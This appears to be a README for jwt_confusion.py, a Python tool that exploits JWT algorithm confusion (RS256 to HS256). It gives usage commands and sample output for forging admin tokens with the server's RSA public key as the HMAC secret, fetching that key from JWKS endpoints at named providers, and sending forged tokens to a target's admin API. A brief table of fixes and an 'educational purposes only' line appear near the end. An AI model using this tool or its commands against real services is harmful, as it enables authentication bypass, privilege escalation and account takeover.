"When applications expect RSA but accept HMAC, the public key becomes the secret key"
Ever wondered what happens when a JWT application expects RSA-signed tokens (RS256) but accidentally accepts HMAC-signed tokens (HS256)?
BOOM! 💥 You can use the RSA public key as an HMAC secret to forge valid admin tokens! This is the digital equivalent of using someone's house key as a master key for the entire neighborhood.
graph LR
A[Original JWT<br/>RS256] -->|Algorithm: RS256| B[Server expects RSA]
C[Forged JWT<br/>HS256] -->|Algorithm: HS256| D[Server accepts HMAC]
E[RSA Public Key] -->|Used as| F[HMAC Secret]
C -->|Signed with| E
style A fill:#ffcccc
style C fill:#ccffcc
style E fill:#ccccff
| Feature | Description | Status |
|---|---|---|
| 🔍 JWT Analysis | Decode and analyze JWT tokens | ✅ |
| 🔑 Key Extraction | Auto-fetch from JWKS endpoints | ✅ |
| 🔄 Algorithm Swap | RS256 → HS256 conversion | ✅ |
| 🏗️ Token Forging | Create admin-level tokens | ✅ |
| 🧪 Multiple Formats | Test various key formats | ✅ |
| 🎯 Manual Mode | Interactive key input | ✅ |
| 📁 Output Options | Save forged tokens to file | ✅ |
pip install pyjwt cryptography requests termcolor# Basic attack
python jwt_confusion.py -j "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..." -k public_key.pem
# With custom admin claims
python jwt_confusion.py -j "your.jwt.token" -k public_key.pem -p '{"role":"admin","user":"superadmin"}'
# Save output to file
python jwt_confusion.py -j "your.jwt.token" -k public_key.pem -o forged_admin_token.txt# Auto-fetch public key from JWKS
python jwt_confusion.py -j "your.jwt.token" -jwk "https://target.com/.well-known/jwks.json"# Interactive mode - I'll help you get the key!
python jwt_confusion.py -j "your.jwt.token" --manual# Test with generated keys
python jwt_confusion.py --demo$ python jwt_confusion.py -j "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidXNlcjEifQ..." -k public_key.pem
[SUCCESS] Forged token created!
Forged JWT Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.signature_here$ python jwt_confusion.py -j "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..." -jwk "https://auth.example.com/.well-known/jwks.json" -p '{"admin":true,"permissions":["*"]}'
[SUCCESS] Public key obtained from JWKS!
[SUCCESS] Forged token created with custom claims!$ python jwt_confusion.py -j "your.jwt.token" --manual
[JWT Analysis]
Algorithm: RS256
Key ID: kid-123
Issuer: https://auth.example.com
[Choose Method to Get Public Key]
1. Auto-find JWKS endpoint
2. Use issuer well-known endpoints
3. Manual conversion tools
4. Show me what to look for in browser
Enter choice (1-4): 1https://[domain]/.well-known/jwks.json
https://[domain]/jwks.json
Decode your JWT → Get iss claim → Try:
https://[issuer]/.well-known/openid-configuration
| Provider | Endpoint Pattern |
|---|---|
| Auth0 | https://[domain]/.well-known/jwks.json |
| AWS Cognito | https://cognito-idp.[region].amazonaws.com/[pool-id]/.well-known/jwks.json |
| Azure AD | https://login.microsoftonline.com/[tenant]/discovery/v2.0/keys |
| Firebase | https://www.googleapis.com/service_accounts/v1/jwk/securetoken@system.gserviceaccount.com |
| Okta | https://[domain].okta.com/oauth2/v1/keys |
curl -H "Authorization: Bearer YOUR_FORGED_TOKEN" https://target.com/api/admin- Capture the original request
- Replace JWT with forged token
- Forward request
- 🎉 Profit!
Authorization: Bearer <token>
X-JWT-Token: <token>
Cookie: jwt=<token>
X-Auth-Token: <token>
// Original Token (RS256)
{
"alg": "RS256",
"typ": "JWT"
}
// Server expects: RSA signature verification
// Forged Token (HS256)
{
"alg": "HS256",
"typ": "JWT"
}
// Server accepts: HMAC verification using public key as secret!- RS256: Uses asymmetric crypto (private key signs, public key verifies)
- HS256: Uses symmetric crypto (same key for sign/verify)
- When server accepts both → public key becomes the shared secret!
| Vulnerability | Fix |
|---|---|
| Algorithm Confusion | Explicitly specify allowed algorithms |
| Key Type Mismatch | Verify key type matches algorithm |
| Algorithm Trust | Don't trust JWT header alg field |
| Multiple Algorithms | Disable HS256 if only RS256 needed |
- Privilege Escalation: User → Admin
- Authentication Bypass: No login required
- Account Takeover: Impersonate any user
- Data Access: Read/modify protected resources
This tool is for educational and testing purposes only!
Made with ❤ ️ by the Presh-Cyber